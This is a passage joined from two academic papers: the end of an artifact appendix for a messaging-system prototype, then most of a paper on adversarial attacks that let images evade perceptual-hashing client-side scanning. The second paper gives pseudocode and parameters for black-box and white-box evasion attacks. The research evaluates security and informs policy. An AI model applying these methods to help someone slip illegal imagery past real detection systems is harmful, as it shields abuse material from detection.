The first is the microbenchmarks binary that is used to popu-
late Figure 5. The platform and desktop client user columns
are given from running the microbenchmark binary on a sin-
gle core of the specified AWS machine. The mobile client
user column is given from running the microbenchmark on
the specified mobile device.

The second benchmark binary measures server throughput
and is used to populate Figure 6. The reported numbers are
based on experiments setting benchmark parameters of 200
requests for a blocklist size of 100, a strikelist size of 1400,
and one million users, while varying the number of cores.
This setup requires 64 GB of memory, however, the number
of users can be reduced (e.g., to 200) to reproduce similar
results without large memory requirements.

Detailed evaluation instructions are given on the README
available at https://github.com/nirvantyagi/orca.

B.5 Experiment Customization

The benchmark source code is available and can be cus-
tomized beyond the exisiting parameterization.

B.6 Notes

The cryptographic code has not been reviewed; it serves as a
research prototype and is not suitable for deployment. If any
bugs are discovered, please raise an issue on Github or send
an email to the authors.
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Adversarial Detection Avoidance Attacks: Evaluating the robustness of perceptual
hashing-based client-side scanning
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Abstract

End-to-end encryption (E2EE) by messaging platforms en-
able people to securely and privately communicate with one
another. Its widespread adoption however raised concerns that
illegal content might now be shared undetected. Following the
global pushback against key escrow systems, client-side scan-
ning based on perceptual hashing has been recently proposed
by tech companies, governments and researchers to detect
illegal content in E2EE communications. We here propose
the first framework to evaluate the robustness of perceptual
hashing-based client-side scanning to detection avoidance
attacks and show current systems to not be robust. More
specifically, we propose three adversarial attacks–a general
black-box attack and two white-box attacks for discrete co-
sine transform-based algorithms–against perceptual hashing
algorithms. In a large-scale evaluation, we show perceptual
hashing-based client-side scanning mechanisms to be highly
vulnerable to detection avoidance attacks in a black-box set-
ting, with more than 99.9% of images successfully attacked
while preserving the content of the image. We furthermore
show our attack to generate diverse perturbations, strongly
suggesting that straightforward mitigation strategies would
be ineffective. Finally, we show that the larger thresholds nec-
essary to make the attack harder would probably require more
than one billion images to be flagged and decrypted daily,
raising strong privacy concerns. Taken together, our results
shed serious doubts on the robustness of perceptual hashing-
based client-side scanning mechanisms currently proposed
by governments, organizations, and researchers around the
world.

1 Introduction

More than two billion people across the world use end-to-
end encryption (E2EE)-enabled platforms such as Signal and

*The first two authors contributed equally and are listed in random order.
† Corresponding author at demontjoye@imperial.ac.uk
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Figure 1: Examples of original and modified images for dif-
ferent hashing functions. All four modified images evade
detection for the threshold T while maintaining a small L2
perturbation per pixel and high visual similarity to the original
image.
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WhatsApp [6, 53], exchanging more than 100 billion mes-
sages daily on WhatsApp alone [52]. E2EE provides a strong
privacy protection to users, preventing governments, hackers,
and platform providers themselves to access the content of
their communications. Governments and organizations have
however raised concerns that E2EE is preventing the detec-
tion of illegal content [39, 43] such as child sexual abuse
media and terrorism-related content [41]. Governments have
also recently been discussing bills looking at online safety in-
cluding the countering of disinformation and misinformation
online [17].

Following strong concerns from security experts and for-
mer national security officials alike [18, 31], key escrow sys-
tems providing governments an encryption “backdoor” have
been abandoned. Instead, client-side scanning has been pro-
posed to detect the sharing of illegal content on E2EE-enabled
platforms by tech companies [4], researchers [22, 35, 45], and
policy makers [11]. Here, a signature of a visual media (im-
age, video) would be computed on the user’s device and then
compared against the database of signatures of known illegal
images. If a match is found, the user would e.g. be flagged
and/or the unencrypted content automatically shared for fur-
ther review. Designed to be robust to small changes to the
media, as well as transformations like rotation and rescal-
ing, perceptual hashing algorithms would be used to generate
the signature. Several variations of this scheme have been
proposed. For instance, Apple’s recent proposal sends a cryp-
tographic voucher containing the encrypted images and the
results of the match. If the number of successful matches reach
a predefined threshold, the system is then able to decrypt all
the matched images [4].

A large literature has developed recently in adversarial
machine learning. The input of a machine learning classifier
is adversarially modified to fool the model. Slightly modified
but visually similar variants of an image can be designed
resulting in a misclassification by the model [32,42,49]. Some
of the most famous examples include an image of panda being
misclassified as a gibbon [20] or a road works traffic sign to
be misclassified as a give way traffic sign [42]. A wide range
of techniques in both white and black-box setup have been
developed, including [34] and [51].

Our contribution. We here propose the first framework to
evaluate the robustness of perceptual hashing-based client side
scanning to a novel detection avoidance attack. Specifically,
our framework assesses the threat posed by adversarial attacks
aiming to minimally modify an image so as to avoid detection
while preserving its content. Our framework also takes into
account the diversity of modifications produced by the attack
in terms of distances between signatures. The more diverse
the perturbation, the harder it is for the system to mitigate by
expanding the database with the modified images.

We propose three adversarial attacks against perceptual
hashing algorithms, a general black-box attack, inspired by
previous work in adversarial ML, e.g., [24, 48, 59], and two

novel and optimal white-box attacks exploiting the linearity
and orthogonality of discrete cosine transform (DCT)-based
perceptual hashing algorithms. The attacks are designed to
minimally perturb the image while avoiding detection. In par-
ticular, they produce a wide range of perturbations preventing
easy mitigation strategies such as expanding the database with
modified images.

We evaluate the robustness of perceptual hashing-based
client-side scanning mechanisms and show them to be highly
vulnerable to detection avoidance attacks. We perform a large-
scale extensive evaluation of five commonly used perceptual
hashing algorithms: pHash (continuous and discrete) [12, 62],
dHash, aHash and PDQ [27] and show that, for all of them,
our attack manages avoid detection with modified images very
similar to the original. Taken together, our results strongly
suggest that perceptual hashing-based client-side scanning is
highly vulnerable to small modifications in all scenarios con-
sidered, and that simple mitigation strategies like expanding
the database would be ineffective. This sheds serious doubts
on the robustness of currently proposed client-side scanning
mechanisms based on perceptual hashing [11, 22, 35, 45].

2 Perceptual hashing-based client-side scan-
ning

Perceptual hashing algorithms. Perceptual hashing algo-
rithms compute a signature of a visual media (e.g., image,
video) without having to share it. Perceptual hashes are dif-
ferent from cryptographic hashes in that the former changes
gradually as the image changes, while the latter changes sig-
nificantly as soon as a single pixel changes. Importantly, per-
ceptual hashes are designed to detect instances of a visual
media that are visually similar (e.g., a resized version) without
being exact copies [38]. To achieve this, they extract features
that remain invariant under small modifications, such as resiz-
ing, noise addition, format change and rotation. For example,
pHash and Facebook’s PDQ use the discrete cosine transform
(DCT) to extract image features relating to lower frequencies
in the DCT output, that remain invariant to image modifica-
tions such as blurring, resizing and watermarking [55].

Formally, a perceptual hashing algorithm h : I → O l is
a deterministic function mapping a multimedia X ∈ I to a
fixed-size vector representation, the hash, usually consisting
of bits (O = {0,1}) or real numbers (O = R). The similarity
between two media X ,X ′ ∈ I is quantified by computing the
distance between the hashes according to a metric, henceforth
denoted by d. For bit-valued hashes, d is usually the Hamming
distance, while for real-valued hashes a typical choice for d
is the Euclidean distance.

Client-side scanning. Perceptual hashing-based client-
side scanning (PH-CSS) for illegal image detection consists of
a database D = {X1, . . . ,XN} of N images Xi ∈ I ,∀1≤ i≤ N,
a perceptual hashing algorithm h, a distance d, and a threshold
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T > 0. Given an image X ∈ I , the detection system computes
the distance between the hash h(X) and the hashes of images
in the database h(Xi). The image is flagged if there exists
1 ≤ i ≤ N such that d(h(Xi),h(X)) ≤ T . We note that our
framework is applicable more broadly to visual media (e.g.,
videos).

The detection system performance can be measured using
the false positive and false negative rates [62].

False positive rate. For a threshold T and database D , the
false positive rate FPR(T,D) is defined as the probability
that a media visually different from those in the database
(X 6∼D) is detected:

FPR(T,D) = P(∃1≤ i≤ N : d(h(X),h(Xi))≤ T |X 6∼D)

False negative rate. For a threshold T and database D , the
false negative rate FNR(T,D) is defined as the probability
that a media visually similar to medias in the database (X ∼
D) is wrongly rejected:

FNR(T,D) = P(∀1≤ i≤ N : d(h(X),h(Xi))> T |X ∼D)

For both the FPR and FNR, the randomness is taken over
the distribution of media shared by users.

The threshold T modulates the trade-off between the false
positive and negative rates. Intuitively, as the threshold T
decreases the system will wrongly flag fewer media outside
the database. At the same time, it would wrongly reject more
media visually similar to those in the database.

3 Attack model

3.1 Detection avoidance attack

We here propose an adversarial attack against perceptual
hashing-based client-side scanning, which we call detection
avoidance attack.

Attack model. We assume that a malicious agent, the at-
tacker, is in possession of a image from the database, hence-
forth denoted original image X ∈D . The attacker’s goal is to
minimally modify X into X ′ such that its content is preserved
while avoiding detection. More specifically, the attacker’s
goal is to modify X via an additive perturbation δ such that
the modified image: (1) is valid, i.e., X ′ = X +δ ∈ I meaning
that no pixel goes out of bounds, (2) evades detection, i.e.,
d(h(X),h(X +δ))> T , where T is the threshold used by the
detection system and (3) the perturbation is minimal in terms
of visual dissimilarity. We assume that the attacker knows the
distance d and the threshold T . We revisit these assumptions
later.

Assuming that the attacker quantifies the visual similarity
between images using a metric v (with smaller values for
higher visual similarity), the attacker’s goal can alternatively

be written as follows.

Minimize: v(X ,X +δ) (1)
s.t.: d(h(X),h(X +δ))> T (2)

X +δ ∈ I (3)

The objective function quantifies the visual similarity between
the original image X and the modified image X ′ = X +δ. The
attacker seeks to minimize this objective in order to preserve
the image content. The first constraint requires that the image
should avoid detection by not being matched with the original
image. However, it is possible the modified image might still
be flagged because its hash is close (≤ T ) to other images in
the database. Finally, the second constraint requires that the
modified image should be valid (within the image bounds).

Perturbation diversity requirement. Additionally, the at-
tack should be resistant to simple defenses that the system
could implement, such as expanding the database with hashes
of modified images. This assumption is realistic as the detec-
tion system might gain knowledge of the attack. The attack
should therefore produce a wide range of random perturba-
tions that cannot be predicted and added to the database.

Attack intuition. We provide three intuitions for why per-
ceptual hashing-based client-side scanning could be vulnera-
ble to the proposed detection avoidance attack.

First, by design, the perceptual hash of an image changes
gradually as the image changes, opening up the possi-
bility to find a minimally modified image X ′ such that
d(h(X),h(X ′))> T while X and X ′ remain visually similar.

Second, mitigation strategies like increasing the threshold
T or expanding the database with hashes of modified images
could lead to an increase in the detection system’s false posi-
tive rate, rendering it unsuitable for the use case.

Third, the hash space likely contains many valid image
hashes that are at least T away from the original image hash.
Formally, the d-ball of radius T around the hash of the original
image B(X ,T ) = {X ′ ∈ I : d(h(X),h(X ′))≤ T} is such that
its complement B(X ,T ) contains potentially many images
X ′ for typical distances (Hamming, Euclidean) and suitable
threshold values. Furthermore, common perceptual hashing
algorithms are non-injective, meaning that multiple inputs can
lead to the same output. This suggests that it may be possible
to obtain several and possibly many different perturbations of
the same image such that d(h(X),h(X ′))> T .

Finally, PH-CSS is similar but different from a classifi-
cation model. It is a threshold-based detection system for
matches in a database. This poses unique challenges: first,
as the threshold T can be quite large, it is not trivial to see
why adversarial perturbations can be found that still preserve
the original image content, and second, the detection system
could expand the database with hashes of adversarial images
produced using our attack, making perturbation diversity a
core requirement.
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3.2 Attacker access to the perceptual hashing
algorithm

We consider two levels of attacker access to the perceptual
hashing algorithm.

Black-box access. Unless otherwise specified, we assume
that the attacker has black-box access to the perceptual hash-
ing algorithm. In a black-box setting, the attacker can provide
an input image X to retrieve its corresponding hash h(X)
but does not know how the algorithm works. We believe this
assumption to be realistic in the context of perceptual hashing-
based client-side scanning context. Most of the proposed im-
plementations of PH-CSS, including Apple’s recent proposal,
would compute the image hashes on the device [4, 8]. Our
black-box assumption is further supported by the fact that Ap-
ple’s model was made accessible in a recent iOS version, and
by subsequent statements by Apple that this was "expected
behavior" [13].

We further assume that the attacker can retrieve output
hashes for as many inputs as needed, without the hashes being
uploaded to the server. This can be made possible for example
by automating the image upload through the app and creating
a honeypot to catch all the requests, read the hash sent in the
request and send it back to the attacker.

White-box access. In some cases, the attacker could have
full knowledge of the algorithm used by the detection system.
This can for example be the result of reverse-engineering
work and the limited number of available perceptual hashing
algorithms available. This knowledge consists of the rules or
transformations used by the algorithm to map the input to the
output hash. In this paper, we develop two novel attacks for
DCT-based perceptual hashing algorithms such as the popular
pHash and Facebook’s PDQ (see Sec. 4.3). These attacks
provide a strong attack targeting DCT as they are optimal in
the sense of minimally modifying the input to evade detection.
They also provide theoretical insights into the vulnerability
of existing approaches.

4 Attack methodology

We present the methodology for a general black-box attack
against perceptual hashing-based client side scanning and two
novel attacks against DCT-based hashes.

4.1 Notation
General. We consider real-valued images I = [0,1]n and de-
fine an image as an element X ∈ I. The image size n is equal
to the number of pixels in the image. For 1≤ i≤ n, we use X i

to denote the i-th element of the (flattened) image X . Given
an image X ∈ I , the space of valid perturbations is denoted
by I −X = {δ ∈ [−1,1]n : 0≤ δi +X i ≤ 1,∀1≤ i≤ n}

Distance from original image. All our attacks aim to mod-
ify an original image X into X ′ = X + δ such that the dis-

tance between their respective hashes is larger than a given
threshold T . We denote by fX : I → O ′ the function map-
ping a perturbation δ to the distance between the hashes of
X ′ = X +δ and X : fX (δ) = d(h(X),h(X +δ)). For example,
for real-valued hashes O ′ = R, while for bit-valued hashes
O ′ ⊂ N (for details see Section 5). For convenience and be-
cause each image is attacked separately, we drop the subscript
and use f := fX when there is no ambiguity.

Visual similarity. We quantify the visual similarity be-
tween original image X and a modified image X ′ using the Lp

norm of X−X ′, where Lp : X ∈Rn→||X ||p =
( n

∑
i=1
|X i|p

)1/p.

The Euclidean (p= 2),L1 and L∞ norms are common choices
in the adversarial ML literature to measure visual similarity.
To compare the visual similarity between original and mod-
ified images independently of the image size, we will use
the Lp perturbation per pixel, defined as Lp,pixel : X ∈ Rn→( 1

n

n
∑

i=1
|X i|p

)1/p.

4.2 Black-box attack

Approach. Our black-box attack attempts to maximize the
distance f (δ) between the hashes of original and modified
images X and X ′ = X + δ while ensuring the perturbation
||δ||p is smaller than a fixed constant ε. We take this approach
instead of directly minimizing the perturbation under the con-
straint that f (δ)> T as we found it impractical to enforce the
constraint on f in a black-box setting.

More specifically our attack seeks a solution to the follow-
ing optimization problem:

Find: max
δ

min(T, f (δ)) (4)

s.t.: ||δ||p ≤ ε (5)
δ ∈ I −X (6)

The objective is either T or f (δ); when it is equal to the for-
mer, the program stops, while when it is equal to the latter, i.e.,
f (δ)≤ T , we perform gradient ascent in search for a better
solution. The first constraint requires that the perturbation’s
Lp norm does not exceed ε. The second constraint requires
that the modified image remains valid.

To ensure that the perturbation is as small as possible, we
start with a very small admissible perturbation ε and gradually
increase it when the above program fails to find a solution
within a reasonable amount of steps.

Gradient estimation. We use zero-order gradient estima-
tion via Natural Evolutionary Strategies (NES) [48, 59] to
estimate the gradient of the distance function f with respect to
the perturbation δ and perform gradient ascent. This is a pop-
ular technique for optimization under black-box assumptions
and has already been used to obtain adversarial perturbations
against image classification models [24].
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Algorithm 1 GRAD: Gradient estimation for f (δ)
1: Inputs:

f : Function whose gradient is to be estimated.
X : Original image to be attacked, of size n.
δ: Point at which the gradient is to be estimated.
d′: Number of Gaussian samples (should be even).
σ: Scaling factor for Gaussian samples ∼ N(0, In).

2: Output:
grad: ∇δE[ f (δ)], estimate of the gradient of f (δ)

3: Initialize:
θi← N(0, In), for i ∈ {1, ..., d′

2 }
θi←−θd′−i+1, for i ∈ {( d′

2 +1), ...,d′}
grad← 0

4: for i = 1 to d′ do
5: θ′i←max(min(1,X +δ+σθ),0)−X−δ

6: grad← grad + f (δ+θ′i)∗θ′i ∗ 1
σd′

7: end for

The NES-based strategy for gradient estimation can be de-
scribed as a special case of estimation using finite-differences
on a random Gaussian basis. We estimate the gradient of f
using the following equation:

∇δE[ f (δ)]≈ 1
σd

d′

∑
i=1

δi f (δ+σθi) (7)

where θi ∼ N(0, In),1 ≤ i ≤ d′ are samples from a stan-
dard multivariate normal distribution over Rn. Nesterov and
Spokoiny [40] showed through theoretical analysis that the
number of samples d′ required to estimate the gradient scales
linearly with the input dimension n.

Alg. 1 details the black-box gradient estimation procedure.
To reduce the variance of our estimate, we use antithetic sam-
pling: we sample Gaussian noise θi for i ∈ {1, ..., d′

2 } and set
θ j =−θd′− j+1 for j ∈ {( d′

2 +1), ...,d′} with d′ an even num-
ber (line 3). This optimization has been empirically shown
to improve performance of NES [48]. To satisfy the image
bound constraints for X +δ+σθ which will be given as input
to the hashing function (in order to compute f (δ+σθ)), we
replace each noise sample with a clipped version (line 5).

Perturbation update. Alg. 2 details the perturbation up-
date. At each step t, we use the sign of the estimated gradient,
sign(grad) along with momentum µ to update δt (lines 3-4).
Sign gradients have been previously used by Goodfellow et
al. to develop adversarial perturbations against image classi-
fication models [20]. We clip the resulting image X + δt+1
to ensure it is within the image bounds (line 5), and we en-
force the visual similarity constraint on the updated δt+1 by
projecting it onto the ball of Lp norm ε (lines 6-7).

Perturbation bound. To ensure that the visual similarity is
comparable across images of different sizes, the bound on the

Algorithm 2 UPDATE: Estimating δt+1 via gradient ascent
1: Inputs:

δt : Perturbation after the tth iteration.
gradt : ∇δE[ f (δt)], estimate of the gradient of f (δt).
prev_gradt : Weighted sum of previous gradients.
X : Original image to be attacked.
ε: Upper bound on ||δ||p.
µ: Momentum parameter.
η: Step size to update δ in each iteration.

2: Output:
δt+1: Perturbation after the (t +1)th iteration.
prev_gradt+1: Updated weighted sum of gradients.

3: gradt ← µ∗ prev_gradt +(1−µ)∗gradt
4: δt+1← δt +η∗ sign(gradt)
5: δt+1←min(max(X +δt+1,0),1)−X
6: if ||δt+1||p > ε then
7: δt+1← δt+1 ∗ ε/||δt+1||p
8: end if
9: prev_gradt ← gradt

perturbation norm (ε) is derived from a constant independent
of the image size (denoted εnorm) for each image attacked.
Perturbing each pixel by 1% in the same image but with dif-
ferent sizes would result in a visually similar perturbation but
different values of ||δ||p. In the attack, we increment εnorm
starting from small values, and the corresponding actual per-
turbation bound used in the attack (dependent on the image
size) will be ε = εnorm ∗n

1
p .

Making the attack more efficient. Because the number
of samples d′ required to estimate the gradient scales linearly
with the image size [40], we attack a small-dimension resized
and grayscaled version of the original image, which we de-
note by X̄ (of size n′ < n). The attack produces a perturbation
δ̄, which we map to a final perturbation δ in the original space
using Alg. 3. Our strategy, which we show to work in practice,
is informed by three insights: (1) most perceptual hashing
algorithms are known to be invariant to grayscaling and resiz-
ing of the image [56]. This means that, for an image X , h(X)
does not change much even when X is recolored or resized.
(2) both grayscaling, i.e., converting a three-channel RGB
image to single-channel image, and resizing to a smaller sized
image reduce the size of the original image X and (3) opti-
mizing the perturbation for the grayscale image and mapping
it to a corresponding perturbation in the RGB space leads to
smoother perturbations than directly optimizing for the RGB
image.

Alg. 3 details our algorithm for inverting the perturbation.
Using a resize transformation, we map the single-channel
perturbation δ̄ (of size n′) to a corresponding perturbation
of same single-channel size as the original image X (n/3),
denoted by δgray. The final pixel value δi

c for channel c is
derived from δgray such that (1) δi

c is proportional to X i
c, the
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intensity for pixel i in the original image, and (2) the modified
pixel X i

c +δi
c is within the image bounds.

Algorithm 3 INVERSEDELTA: Calculate perturbation δ for
original image X from perturbation δ̄

1: Inputs:
X : Original image to be attacked of size n.
δ̄: Optimal perturbation for X̄ .

2: Output:
δ: Perturbation for X .

3: Initialize:
Xc← channel c of X , for c ∈ {R,G,B}
mean(Xc)← XR+XG+XB

3
ngray← n/3

4: δgray = resize(δ̄,ngray)
5: for c in {R,G,B} do
6: for i = 1 to ngray do
7: if δi

gray ≤ 0 then

8: δi
c = δi

gray
X i

c
mean(X i

c)

9: else
10: δi

c = δi
gray

1−X i
c

1−mean(X i
c)

11: end if
12: δi

c = min(max(X i
c +δi

c,0),1)−X i
c

13: end for
14: end for

Complete attack. The complete attack for an image and
X of size n and threshold T is described in Alg. 4. The
image-independent perturbation bound is initialized to ε0. We
grayscale and resize X to obtain X̄ of smaller size n′. In each
iteration t, the algorithm estimates the gradient and performs
a gradient update. If the distance fX̄ (δ̄) reaches a plateau
as quantified by the finite difference ∆ f (and the number of
previous iterations for which ∆ f ≤ 0), we consider that the
current ε is too small to allow for f (δ̄)> T . We thus increase
the image-independent perturbation bound εnorm by a fixed
step ηε and update ε accordingly. As soon as the distance
fX̄ (δ̄) > T , δ is computed from δ̄. The algorithm stops if
fX (δ) > T as well, in which case the attack is considered
successful. If after m iterations the distance fX (δ) does not
exceed T , the attack is considered unsuccessful.

Diversity of perturbations. For the attack to be resis-
tant against simple mitigation strategies like expanding the
database with hashes of the modified image X ′, the attack
should generate multiple random perturbations for an im-
age, resulting in different and unpredictable output hashes.
To achieve this objective, we make two modifications to
our black-box attack. First, we initialize our perturbation
δ̄0 to be a valid random non-zero perturbation such that
||δ̄0||p = εstart ∗n′

1
p for some small value of εstart . More specif-

ically, we uniformly sample δ̄0 from a set of valid perturba-
tions, scale it to have an Lp-norm of εstart and clip to limit it

Algorithm 4 Black-box attack against perceptual hashing
algorithms

1: Inputs:
X : Original image to be attacked of size n.
h: Perceptual hashing algorithm to be attacked.
d: Distance metric corresponding to perceptual hashing
algorithm h.
T : Threshold to be attacked.
n′(< n): Size of the resized and grayscaled image X̄
ε0: Starting value for the maximum perturbation allowed.
ηε: Step size for ε.
k: Number of previous iterations used to detect
plateauing of fX̄ .
µ, η: Parameters required for updating the gradient.
d′, σ: Number of samples and scale for Gaussian
samples used in gradient estimation.
s: Seed defined by the attacker.
m: Maximum number of iterations.

2: Output:
δ: Perturbation for original image X.

3: Initialize:
X̄ ← resize(rgb2gray(X),n′)
δ̄0← 0
prev_grad0← 0
seed← (X ,s)
εnorm← ε0

ε← εnorm ∗n
1
p

4: setseed(seed)
5: for t = 0 to m−1 do
6: gradt ← GRAD( fX , X̄ , δ̄t ,d′,σ)
7: δ̄t+1, prev_gradt+1← UPDATE(

δ̄t ,gradt , prev_gradt ,X ,ε,µ,η)
8: ∆ ft ← fX (δ̄t+1)− fX (δ̄t)
9: if Count([∆ ft−k+1, ...,∆ ft ]≤ 0)> k

2 then
10: εnorm← εnorm +ηε

11: ε← εnorm ∗n′
1
p

12: end if
13: if fX (δ̄t+1)> T then
14: δ = INVERSEDELTA(X , δ̄t+1)
15: if fX (δ)> T then
16: break
17: end if
18: end if
19: end for

within bounds.

δ̄0 ∼U(−X̄ ,1− X̄)

δ̄0 = εstart ∗n′
1
p ∗ δ̄0

||δ̄0||p
δ̄0 = min(max(δ̄0,0),1)

(8)
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Second, we observe that requiring the perturbation to be
smaller than the constant used in the default black-box attack
can lead to less diverse outputs, even when different starting
points are used in the optimization. So we allow for a larger
maximum perturbation.

The two algorithm modifications lead to more diverse
hashes, at a small cost to the visual similarity.

Reproducibility. In order to ensure our attack results are
reproducible, we initialize the attack using both the image X
and the attacker-defined seed s (line 4 in Alg. 4). This ensures
that the directions θ being probed for gradient estimation are
not the same for all images even when the attacker-defined
seed s remains the same. For diversity, using different attacker-
defined seeds leads to diverse perturbations for the same im-
age. An attacker can either manually define the seed, or set it
based on processor clock to generate a diverse perturbation
everytime.

4.3 White-box attacks for DCT-based hashes

We develop a principled attack to devise a minimum pertur-
bation for DCT-based perceptual hashing algorithms. The
Discrete Cosine Transform (DCT) [2] is a very popular image
compression algorithm. DCT maps a discrete signal to linear
combinations of the original signal and cosines of different
frequencies. The signal can then be compressed by noting
that coefficients corresponding to lower frequencies encode
the most important features. This property makes DCT suit-
able for JPEG image compression [58] and several perceptual
hashing algorithms like pHash [12] and Facebook’s PDQ [14].

Attack intuition. Our attack exploits the linearity and or-
thogonality of DCT. By using the Euclidean distance to mea-
sure both the input perturbation and the distance between
original and modified hashes, we show that minimal pertur-
bations can be found as linear combinations of eigenvectors
derived from the linear transform. We further show that the
minimal perturbation needed to exceed the threshold T is
equal to T exactly.

Overview of DCT-based perceptual hashing. In what
follows, we assume that the DCT operates on an image X
of size k× k. DCT-based perceptual hashing algorithms in-
deed typically work by applying a set of transformations to the
original image, such as converting to grayscale, resizing, or
blurring resulting in a smaller k×k image. The 2-dimensional
DCT (see below) is applied to the k×k image, resulting in an
output of the same size. Next, the dimensionality of the output
is reduced by keeping a submatrix of pixels and discarding the
rest. For the pHash algorithm, k = 32 and the 8×8 submatrix
of pixels from the intersection of rows and columns 2 to 9 is
preserved, while for PDQ k = 64 and the 16×16 submatrix
of pixels from the intersection of rows and columns 2 to 17 is
preserved.

DCT transform. The DCT transform for an image k× k
is defined as follows:

hDCT : X −→MXMT

M ∈ Rk×k,Mi j =

√
2
k

Λi cos
[

π

k

(
j+

1
2

)
i
]
,1≤ i, j ≤ k (9)

Λi =

{
1√
2
, if i = 0

1, otherwise
(10)

M is orthogonal, i.e., MMT = Ik.
The submatrix extraction step applied in perceptual hashing

can be written as h′DCT : X → (MXMT )a:b,a:b, containing pix-
els from rows a to b and columns a to b, where 1≤ a≤ b≤ k
are parameters chosen when developing a perceptual hashing
algorithm. a is typically small to extract lower frequencies
while b controls the hash size. We rewrite the mapping as
h′DCT : X → M′XM′T , with M′ = Ma:b,1:k ∈ R(b−a+1)×k, i.e.,
M′ is the matrix obtained by extracting rows a to b from M.
Similarly to above, M′M′T = Ib−a+1. For more conciseness
we set from now on c = b−a+1.

Linearity of DCT. It is straightforward to show that h′DCT
is a linear transformation mapping a k× k-dimensional in-
put to a c× c-dimensional output. Simplifying the notation,
h′DCT can be rewritten as the linear transform of a vector (the
flattened input matrix X):

h′DCT :

{
I −→ Rc2

X −→ AX

A ∈ Rc2×k2

Ac1×c+c2,k1×k+k2 = M′1+c1,1+k1
×M′1+c2,1+k2

(11)

for 0≤ c1,c2 ≤ c−1,0≤ k1,k2 ≤ k−1

An important property of A, which we exploit later, is that
AAT = Ic2 (see Appendix). This is due to the orthonormality
of the rows of M′.

Perturbation bound for a given threshold. We prove that
when f (δ) ≥ T then necessarily ||δ||2 ≥ T . Using d as the
Euclidean distance, we can write fDCT (δ) = ||hDCT (X)−
hDCT (X +δ)||2 = ||Aδ||2 =

√
δT AT Aδ. Since AT A is symmet-

ric, it is diagonalizable in a real orthonormal basis of eigen-
vectors (δi)1≤i≤k2 by the spectral theorem. The eigenvalues
are non-negative because AT A is positive semidefinite. Since
AAT = Ic2 , it follows that the eigenvalues can only be 1 or 0.
We prove in the Appendix that the multiplicities of eigenval-
ues are c2 for 1 and k2− c2 for 0. Without loss of generality,
we reorder the eigenvectors by decreasing eigenvalue. Fi-

nally, if δ=
k2

∑
i=1

αiδi, we can write f (δ) =

√
c2

∑
i=1

α2
i ≤

√
k2

∑
i=1

α2
i .

Equality holds if and only if the perturbation δ belongs to the
vector space spanned by eigenvectors (δi)1≤i≤c2 .
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We provide two practical ways to obtain perturbations δ

such that f (δ)≥ T .
Attack as an optimization program. We frame the attack

as the following non-convex optimization program:

Maximize :||Aδ||22
s. t. :||δ||22 ≤ T 2

δ ∈ I −X

(12)

The first constraint requires that the L2 norm of the input
perturbation is no larger than T . The second constraint is
linear and requires that the perturbed image is valid. We use
the Disciplined Convex Concave Programming toolbox [50]
to find a solution.

Attack using sampling. This attack samples valid pertur-
bations of norm T uniformly at random, using rejection sam-
pling. Alg. 5 describes our procedure to sample perturbations
of norm T along eigenvectors that are not canceled by the
linear mapping (δi)1≤i≤c2 until a valid perturbation is found
meaning that δ ∈ I − X . Given a threshold T , we sample
uniformly at random a vector α on the L2-sphere of radius
T in c dimensions (lines 5-6). We set the perturbation to be

δ =
c
∑

i=1
αiδi (line 7). Due to the orthonormality of the eigen-

vector basis, indeed ||δ||22 =
c
∑

i=1
α2

i = T 2.

Algorithm 5 White-box attack using rejection sampling
1: Inputs:

T : Threshold to be attacked.
(δi)1≤i≤c: Orthonormal eigenvectors of AT A for
eigenvalue 1.

2: Output:
δ: Minimal perturbation (of L2 norm T ) such that
fDCT (δ) = T .

3: while δ /∈ I −X do
4: α∼ N(0,Ic)
5: α← T α

||α||2

6: δ←
c
∑

i=1
αiδi

7: end while

5 Experimental setup

In this section, we describe the perceptual hashing algorithms
used to instantiate our attack and how we implemented it.

5.1 Perceptual hashing algorithms
The perceptual hashing algorithms evaluated in this paper are
pHash [12, 62], aHash, dHash 1, and Facebook’s PDQ [27].

1https://hackerfactor.com/blog/index.php%3F/archives/432-Looks-
Like-It.html

They are commonly used algorithms for image deduplication
or retrieval.

pHash, aHash and dHash outputs a 64-bit hash while PDQ
outputs a 256-bit hash for any input image. The Hamming
distance is used to compare the outputs of the hashing algo-
rithms. Each algorithm applies a sequence of transformations
such as grayscaling and resizing followed by image feature
extraction (e.g. using DCT), and finally a bit discretization
step. To experiment with an algorithm with real-valued out-
puts (of size 64), we remove the discretization step of the
pHash algorithm to obtain another algorithm, which we call
pHash continuous. The Euclidean distance is used to compare
the outputs of pHash continuous.

pHash and pHash continuous apply grayscaling, box blur-
ring and resizing resulting in a 32× 32 image. They then
apply the DCT as explained in Sec. 4.3, with parameters
a = 1,b = 8,k = 32 to get a 64-sized vector. We use this
real-valued vector as the output of pHash continuous. pHash
assigns bits larger than the median to 1 and 0 otherwise to
obtain the final hash.

dHash and aHash apply grayscaling followed by resizing
to get a 9× 8 and 8× 8 image, respectively. aHash outputs
a 64-bit hash by flattening the image, and setting the pixels
above mean value to 1 and 0 otherwise. dHash computes a
difference between consecutive columns of the image, flattens
the computed difference, sets the values greater than 0 to 1,
and 0 otherwise to report a 64-bit hash.

PDQ is inspired by pHash and outputs a 256-bit hash. We
will not attempt to describe the algorithm in detail, but to
provide an overview. PDQ applies grayscaling to the image
followed by a series of image transformations to get a 64×64
image. It then applies DCT as explained in Sec. 4.3 with
a = 1,b = 16,k = 64, followed by bit quantization by setting
bits larger than the median to 1, and 0 otherwise to finally
obtain a 256-bit hash.

5.2 Attack parameters

Black-box attack. We use the following parameters to
run our black-box attack. All the images are converted to
grayscale and resized to n′= 64×64= 4,096 dimensions. We
use the L2 norm to quantify visual similarity and ε0 = ηε =
1/255. The plateauing behavior of the objective function, i.e.,
when it stops increasing steadily, is detected based on the
last k = 10 iterations. The number of Gaussian samples used
for gradient estimation in each iteration is d′ = 800. We run
the attack for a maximum number of iterations m = 10,000,
although in practice only a few hundred iterations are re-
quired for most images. We use a momentum µ = 0 for all
hashing algorithms but pHash continuous for which we use
µ = 0.8. The values for the scale of Gaussian noise σ and
learning rate η are: σ = 0.001,η = 0.001 for pHash contin-
uous, σ = 0.1,η = 0.01 for pHash, σ = 0.1,η = 0.001 for
aHash, σ = 0.1,η = 0.001 for dHash and σ = 0.1,η = 0.01
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Figure 2: Cumulative distribution function (CDF) for the L2 perturbations per pixel for different algorithms and thresholds
and all successfully attacked images over 10 experiments. A lower perturbation indicates higher visual similarity between the
modified and original images. The perturbation increases slowly with the threshold, but remains small in all cases.

for PDQ. An attacker might want to adjust these parameters
for each image, e.g., in order to run the attack more efficiently.
For simplicity, we here use the same parameters for all the
images. We chose the values of these parameters for each
perceptual hashing algorithm based on early experiments on
